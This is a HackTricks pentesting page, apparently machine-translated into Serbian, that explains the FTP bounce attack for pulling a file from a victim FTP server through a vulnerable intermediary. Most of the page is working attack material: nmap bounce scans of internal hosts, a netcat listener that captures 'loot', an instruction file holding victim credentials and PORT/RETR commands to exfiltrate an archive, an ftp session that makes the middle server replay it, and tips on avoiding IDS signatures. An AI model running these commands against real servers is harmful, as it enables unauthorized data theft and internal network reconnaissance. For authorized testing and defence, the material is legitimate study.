FTP Bounce Download 2 of FTP File

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Rezime

Ako imate pristup bounce FTP server, možete ga naterati da zatraži fajlove sa drugog FTP servera (gde znate neke kredencijale) i download taj fajl na your own server.

Zahtevi

  • Važeći FTP kredencijali na FTP Middle server
  • Važeći FTP kredencijali na Victim FTP server
  • Oba servera prihvataju PORT command (bounce FTP attack)
  • Možete pisati u nekom direktorijumu na FTP Middle serveru
  • The middle server ima veći pristup na Victim FTP Server nego vi

Koraci

  1. Povežite se na your own FTP server i postavite konekciju u passive režim (pasv command) tako da on sluša u direktorijumu gde će victim service poslati fajl.
  2. Pripremite fajl koji će FTP Middle server poslati Victim serveru (the exploit script). Ovaj fajl će biti plain text sa potrebnim komandama za autentifikaciju na Victim server, promenu direktorijuma i download fajla na vaš server.
  3. Povežite se na FTP Middle Server i upload prethodni fajl.
  4. Naterajte FTP Middle server da uspostavi konekciju ka Victim serveru i pošalje exploit fajl.
  5. Capture fajl na vašem FTP serveru.
  6. Obrišite exploit fajl sa FTP Middle servera.

Brza provera za ranjive bounce hostove

  • Nmap i dalje podržava FTP bounce provere. Primer za verifikaciju potencijalnog middle servera:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Ako server odbije PORT vrednosti trećih strana skeniranje će propasti; neki ugrađeni/nasleđeni štampači, NAS i appliance FTP daemoni to i dalje dozvoljavaju.

Automatizacija drugog FTP preuzimanja

Ispod je modernizovani način da se povuče fajl preko ranjivog posredničkog FTP servera.

  1. Otvorite pasivni listener na vašem napadačkom računaru (bilo koji TCP sink radi):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Zabeležite svoj IP kao A,B,C,D i port P kao p1,p2 (p1 = P/256, p2 = P%256).

  2. Napravite fajl instrukcija koje će posrednički server ponoviti žrtvi:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Otpremite i pokrenite sa posredničkog servera (klasični proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Preuzmite fajl sa vašeg listener-a (loot.bin).
  2. Obrišite otpremljeni instrs fajl na posredničkom serveru.

Napomene:

  • Padding (dd ...) sprečava zatvaranje kontrolne konekcije pre nego što RETR završi (problem sa velikim TCP prozorom o kome se diskutuje u klasičnim writeup-ima).
  • Bilo koja usluga koja može listen and dump TCP može zameniti FTP PASV socket (npr. socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Ako posrednički server ograničava privilegovane portove, koristite visok port u PORT i prilagodite svoj listener u skladu s tim.

Dodatni trikovi

  • Koristite bounceable FTP server za port-scan internal hosts kada je prosleđivanje fajlova blokirano:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Neki moderni WAF/IDS (npr. Juniper IPS) isporučuju potpise specifično za FTP:EXPLOIT:BOUNCE-ATTACK; bučni payload-i ili nedostatak padding-a mogu ih okinuti.
  • Kada posrednički server primenjuje ograničenja “PORT to same host”, postavite svoj listener na samom posredničkom serveru (ako imate write/execute) i prosledite snimljeni fajl kasnije.

Za detaljniji old-school walkthrough pogledajte: http://www.ouah.org/ftpbounce.html

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks